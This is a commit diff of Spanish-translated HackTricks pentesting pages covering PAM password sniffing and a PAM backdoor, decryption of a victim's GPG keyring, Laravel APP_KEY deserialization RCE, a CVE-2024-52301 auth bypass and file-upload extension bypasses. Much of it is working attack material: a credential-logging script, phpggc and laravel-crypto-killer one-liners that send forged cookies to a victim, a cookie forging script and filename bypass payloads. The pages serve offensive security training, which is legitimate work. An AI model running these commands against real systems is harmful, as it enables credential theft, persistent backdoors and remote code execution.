Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-09-08 00:57:12 +00:00
parent ab8bb9fe2d
commit 942ef8913d
4 changed files with 616 additions and 380 deletions

View File

@ -4,22 +4,23 @@
## Sniffing Logon Passwords with PAM
Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario utiliza para iniciar sesión. Si no sabes qué es PAM, consulta:
Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario usa para iniciar sesión. Si no sabes qué es PAM consulta:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**Para más detalles, consulta la [publicación original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Este es solo un resumen:
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Esto es solo un resumen:
**Descripción de la Técnica:**
Los Módulos de Autenticación Pluggable (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas basados en Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesión, pero también presentan riesgos si se utilizan de manera incorrecta. Este resumen describe una técnica para capturar credenciales de inicio de sesión utilizando PAM, junto con estrategias de mitigación.
**Technique Overview:**
Pluggable Authentication Modules (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas basados en Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesión, pero también implican riesgos si se usan de forma indebida. Este resumen describe una técnica para capturar credenciales de inicio de sesión usando PAM, junto con estrategias de mitigación.
**Capturando Credenciales:**
**Capturing Credentials:**
- Se crea un script bash llamado `toomanysecrets.sh` para registrar los intentos de inicio de sesión, capturando la fecha, el nombre de usuario (`$PAM_USER`), la contraseña (a través de stdin) y la IP del host remoto (`$PAM_RHOST`) en `/var/log/toomanysecrets.log`.
- El script se hace ejecutable e se integra en la configuración de PAM (`common-auth`) utilizando el módulo `pam_exec.so` con opciones para ejecutarse en silencio y exponer el token de autenticación al script.
- El enfoque demuestra cómo un host Linux comprometido puede ser explotado para registrar credenciales de manera discreta.
- Se crea un script bash llamado `toomanysecrets.sh` para registrar intentos de login, capturando la fecha, el nombre de usuario (`$PAM_USER`), la contraseña (vía stdin) y la IP del host remoto (`$PAM_RHOST`) en `/var/log/toomanysecrets.log`.
- El script se hace ejecutable e integra en la configuración de PAM (`common-auth`) usando el módulo `pam_exec.so` con opciones para ejecutarse en silencio y exponer el token de autenticación al script.
- El enfoque demuestra cómo un host Linux comprometido puede ser explotado para registrar credenciales de forma discreta.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -31,23 +32,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**Para más detalles, consulta el [post original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Esto es solo un resumen:
**Para más detalles consulta el [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Esto es solo un resumen:
El Módulo de Autenticación Pluggable (PAM) es un sistema utilizado en Linux para la autenticación de usuarios. Opera en tres conceptos principales: **nombre de usuario**, **contraseña** y **servicio**. Los archivos de configuración para cada servicio se encuentran en el directorio `/etc/pam.d/`, donde las bibliotecas compartidas manejan la autenticación.
El Pluggable Authentication Module (PAM) es un sistema usado en Linux para la autenticación de usuarios. Funciona sobre tres conceptos principales: **username**, **password**, y **service**. Los archivos de configuración de cada service se encuentran en el directorio `/etc/pam.d/`, donde las bibliotecas compartidas se encargan de la autenticación.
**Objetivo**: Modificar PAM para permitir la autenticación con una contraseña específica, eludiendo la contraseña real del usuario. Esto se centra particularmente en la biblioteca compartida `pam_unix.so` utilizada por el archivo `common-auth`, que es incluido por casi todos los servicios para la verificación de contraseñas.
**Objetivo**: Modificar PAM para permitir la autenticación con una predefined password, omitiendo la password real del usuario. Esto se centra especialmente en la biblioteca compartida `pam_unix.so` usada por el archivo `common-auth`, que está incluido por casi todos los services para la verificación de password.
### Pasos para Modificar `pam_unix.so`:
### Pasos para modificar `pam_unix.so`:
1. **Localiza la Directiva de Autenticación** en el archivo `common-auth`:
- La línea responsable de verificar la contraseña de un usuario llama a `pam_unix.so`.
2. **Modifica el Código Fuente**:
- Agrega una declaración condicional en el archivo fuente `pam_unix_auth.c` que otorgue acceso si se utiliza una contraseña predefinida; de lo contrario, procede con el proceso de autenticación habitual.
3. **Recompila y Reemplaza** la biblioteca modificada `pam_unix.so` en el directorio apropiado.
1. **Localizar la directiva de autenticación** en el archivo `common-auth`:
- La línea responsable de verificar la password del usuario invoca `pam_unix.so`.
2. **Modificar el código fuente**:
- Añade una sentencia condicional en el archivo fuente `pam_unix_auth.c` que concede acceso si se usa una predefined password; en caso contrario continúa con el proceso de autenticación normal.
3. **Recompilar y reemplazar** la biblioteca `pam_unix.so` modificada en el directorio correspondiente.
4. **Pruebas**:
- Se concede acceso a través de varios servicios (inicio de sesión, ssh, sudo, su, protector de pantalla) con la contraseña predefinida, mientras que los procesos de autenticación normales permanecen sin afectar.
- Se concede acceso en múltiples services (login, ssh, sudo, su, screensaver) usando la predefined password, mientras que los procesos de autenticación normales permanecen sin cambios.
> [!TIP]
> Puedes automatizar este proceso con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Decrypting GPG loot via homedir relocation
Si encuentras un archivo `.gpg` cifrado y la carpeta `~/.gnupg` de un usuario (pubring, private-keys, trustdb) pero no puedes descifrarlo debido a permisos/bloqueos del GnuPG homedir, copia el keyring a una ubicación escribible y úsalo como tu GPG home.
Errores típicos que verás sin esto: "unsafe ownership on homedir", "failed to create temporary file", o "decryption failed: No secret key" (porque GPG no puede leer/escribir el homedir original).
Workflow:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
Si el material de la clave secreta está presente en `private-keys-v1.d`, GPG desbloqueará y descifrará sin solicitar una passphrase (o solicitará si la clave está protegida).
## Referencias
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,27 +2,164 @@
{{#include ../../banners/hacktricks-training.md}}
### Laravel SQLInjection
## Trucos de Laravel
Lea información sobre esto aquí: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Modo de depuración
---
Si Laravel está en **modo de depuración**, podrás acceder al **código** y **datos sensibles**.\
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel utiliza AES-256-CBC (o GCM) con integridad HMAC bajo el capó (`Illuminate\\Encryption\\Encrypter`).
El texto cifrado bruto que finalmente **se envía al cliente** es **Base64 de un objeto JSON** como:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` serializa (`serialize()`) el texto plano por defecto, mientras que
`decrypt($payload, $unserialize=true)` **automáticamente `unserialize()`** el valor descifrado.
Por lo tanto, **cualquier atacante que conozca la clave secreta de 32 bytes `APP_KEY` puede crear un objeto PHP serializado cifrado y obtener RCE vía métodos mágicos (`__wakeup`, `__destruct`, …)**.
PoC mínimo (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inyecta la cadena generada en cualquier sink vulnerable de `decrypt()` (route param, cookie, session, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiza todo el proceso y añade un conveniente modo **bruteforce**:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
El script admite de forma transparente tanto payloads CBC como GCM y regenera el campo HMAC/tag.
---
## Patrones vulnerables en el mundo real
| Proyecto | Punto vulnerable (sink) | Cadena de gadgets |
|---------|-------------------------|-------------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
El flujo de explotación siempre es:
1. Obtener o forzar por brute-force la `APP_KEY` de 32 bytes.
2. Construir una cadena de gadgets con **PHPGGC** (por ejemplo `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`).
3. Encriptar el gadget serializado con **laravel_crypto_killer.py** y la `APP_KEY` recuperada.
4. Entregar el ciphertext al sink vulnerable `decrypt()` (parámetro de ruta, cookie, session …) para desencadenar **RCE**.
A continuación se muestran one-liners concisos que demuestran la ruta completa de ataque para cada CVE del mundo real mencionada arriba:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## Mass APP_KEY discovery via cookie brute-force
Porque cada respuesta nueva de Laravel establece al menos 1 cookie encriptada (`XSRF-TOKEN` y normalmente `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** que pueden ser atacadas offline.
Principales hallazgos de la investigación publicada por Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers still vulnerable to legacy CVE-2018-15133 porque los tokens contienen directamente serialized data.
* Reutilización masiva de claves los Top-10 APP_KEYs son hard-coded defaults incluidos en plantillas comerciales de Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
La herramienta privada en Go **nounours** empuja el throughput de AES-CBC/GCM bruteforce a ~1.5 billion tries/s, reduciendo el cracking de un dataset completo a <2 minutes.
## CVE-2024-52301 HTTP argv/env override → auth bypass
Cuando PHP tiene `register_argc_argv=On` (típico en muchas distros), PHP expone un array `argv` para peticiones HTTP derivado del query string. Versiones recientes de Laravel parseaban estos args “CLI-like” y respetaban `--env=<value>` en tiempo de ejecución. Esto permite cambiar el environment del framework para la request HTTP actual simplemente añadiéndolo a cualquier URL:
- Quick check:
- Visita `https://target/?--env=local` o cualquier string y busca cambios dependientes del environment (debug banners, footers, verbose errors). Si la cadena se refleja, el override está funcionando.
- Impact example (lógica de negocio que confía en un env especial):
- Si la app contiene ramas como `if (app()->environment('preprod')) { /* bypass auth */ }`, puedes autenticarte sin credenciales válidas enviando el POST de login a:
- `POST /login?--env=preprod`
- Notes:
- Funciona por request, sin persistencia.
- Requiere `register_argc_argv=On` y una versión vulnerable de Laravel que lea argv para HTTP.
- Primitive útil para exponer errores más verbosos en envs “debug” o para disparar rutas de código condicionadas por environment.
- Mitigations:
- Desactivar `register_argc_argv` para PHP-FPM/Apache.
- Actualizar Laravel para ignorar argv en peticiones HTTP y eliminar cualquier asunción de confianza ligada a `app()->environment()` en rutas de producción.
Minimal exploitation flow (Burp):
```http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
```
---
## Laravel Trucos
### Modo debug
Si Laravel está en **modo debug** podrás acceder al **código** y a **datos sensibles**.\
Por ejemplo `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Esto suele ser necesario para explotar otras CVEs de RCE de Laravel.
Esto suele ser necesario para explotar otras CVEs de RCE en Laravel.
### Fingerprinting & endpoints dev expuestos
Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
- `/_ignition/health-check` → Ignition presente (herramienta de debug usada por CVE-2021-3129). Si es accesible sin autenticación, la app puede estar en modo debug o mal configurada.
- `/_debugbar` → Laravel Debugbar assets; a menudo indica modo debug.
- `/telescope` → Laravel Telescope (dev monitor). Si es público, espera una amplia divulgación de información y posibles acciones.
- `/horizon` → Queue dashboard; revelación de versión y a veces acciones protegidas por CSRF.
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
```
### .env
Laravel guarda la APP que utiliza para encriptar las cookies y otras credenciales dentro de un archivo llamado `.env` que se puede acceder utilizando alguna travesía de ruta bajo: `/../.env`
Laravel guarda la APP que utiliza para cifrar las cookies y otras credenciales dentro de un archivo llamado `.env` que puede ser accedido mediante un path traversal en: `/../.env`
Laravel también mostrará esta información dentro de la página de depuración (que aparece cuando Laravel encuentra un error y está activado).
Laravel también mostrará esta información en la página de depuración (que aparece cuando Laravel encuentra un error y está activada).
Usando la APP_KEY secreta de Laravel, puedes desencriptar y reencriptar cookies:
Usando la APP_KEY secreta de Laravel puedes descifrar y volver a cifrar cookies:
### Desencriptar Cookie
### Descifrar cookie
```python
import os
import json
@ -77,26 +214,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
```
### Laravel Deserialization RCE
Versiones vulnerables: 5.5.40 y 5.6.x a través de 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Versiones vulnerables: 5.5.40 y 5.6.x hasta 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Aquí puedes encontrar información sobre la vulnerabilidad de deserialización aquí: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Aquí puedes encontrar información sobre la vulnerabilidad de deserialization: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Puedes probar y explotarlo usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
O también puedes explotarlo con metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Otra deserialización: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
Otra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection
Lee información sobre esto aquí: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
## Referencias
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf HTB Environment (CVE202452301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# Subida de archivos
# Carga de archivos
{{#include ../../banners/hacktricks-training.md}}
## Metodología general de subida de archivos
## Metodología general de carga de archivos
Other useful extensions:
Otras extensiones útiles:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
@ -15,13 +15,13 @@ Other useful extensions:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Evasión de comprobaciones de extensiones de archivo
### Bypassar las comprobaciones de extensión de archivos
1. Si aplican, **revisa** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Prueba **añadir una extensión válida antes** de la extensión ejecutable (usa las extensiones anteriores también):_
1. Si aplican, **comprueba** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Prueba **añadir una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
- _file.png.php_
- _file.png.Php5_
3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforcear** todos los caracteres **ascii** y **Unicode**. (_Nota que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforce** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Intenta evadir las protecciones **engañando al parser de extensiones** del servidor usando técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes **null**) entre extensiones. _También puedes usar las **extensiones** anteriores para preparar un payload mejor._
4. Intenta evadir las protecciones **engañando al parser de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes **null**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,18 +40,18 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Añade **otra capa de extensiones** a las comprobaciones previas:
5. Añade **otra capa de extensiones** a la comprobación anterior:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Intenta poner la **extensión ejecutable antes de la extensión válida** y reza a que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión **.php**, pero **no necesariamente terminada en .php**, ejecutará código):
6. Intenta poner la **extensión ejecutable antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión **.php**, aunque no termine necesariamente en .php, ejecutará código):
- _ex: file.php.png_
7. Uso de **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p. ej. "file.asax:.jpg"). Este archivo podría ser editado más tarde usando otras técnicas como su nombre corto. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón también podría ser útil para evadir restricciones adicionales (p. ej. "file.asp::$data.”)
8. Intenta romper los límites de nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p. ej. "file.asax:.jpg”). Este archivo podría editarse más tarde usando otras técnicas como su short filename. El "**::$data**” pattern también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón podría también ser útil para evadir restricciones adicionales (p. ej. "file.asp::$data.”)
8. Intenta superar los límites de nombre de archivo. La extensión válida se corta. Y queda el PHP malicioso. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Evasión de Content-Type, Magic Number, Compresión y Redimensionado
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
- Evade las comprobaciones de **Content-Type** estableciendo el **valor** del **header Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
Algunos manejadores de subida recortan o normalizan los caracteres de punto final del nombre de archivo guardado. En UniSharps Laravel Filemanager (unisharp/laravel-filemanager) en versiones anteriores a 2.9.1, puedes evadir la validación de extensión mediante:
- Usar un MIME de imagen válido y el encabezado mágico (por ejemplo, el `\x89PNG\r\n\x1a\n` de PNG).
- Nombrar el archivo subido con una extensión PHP seguida de un punto, p. ej., `shell.php.`.
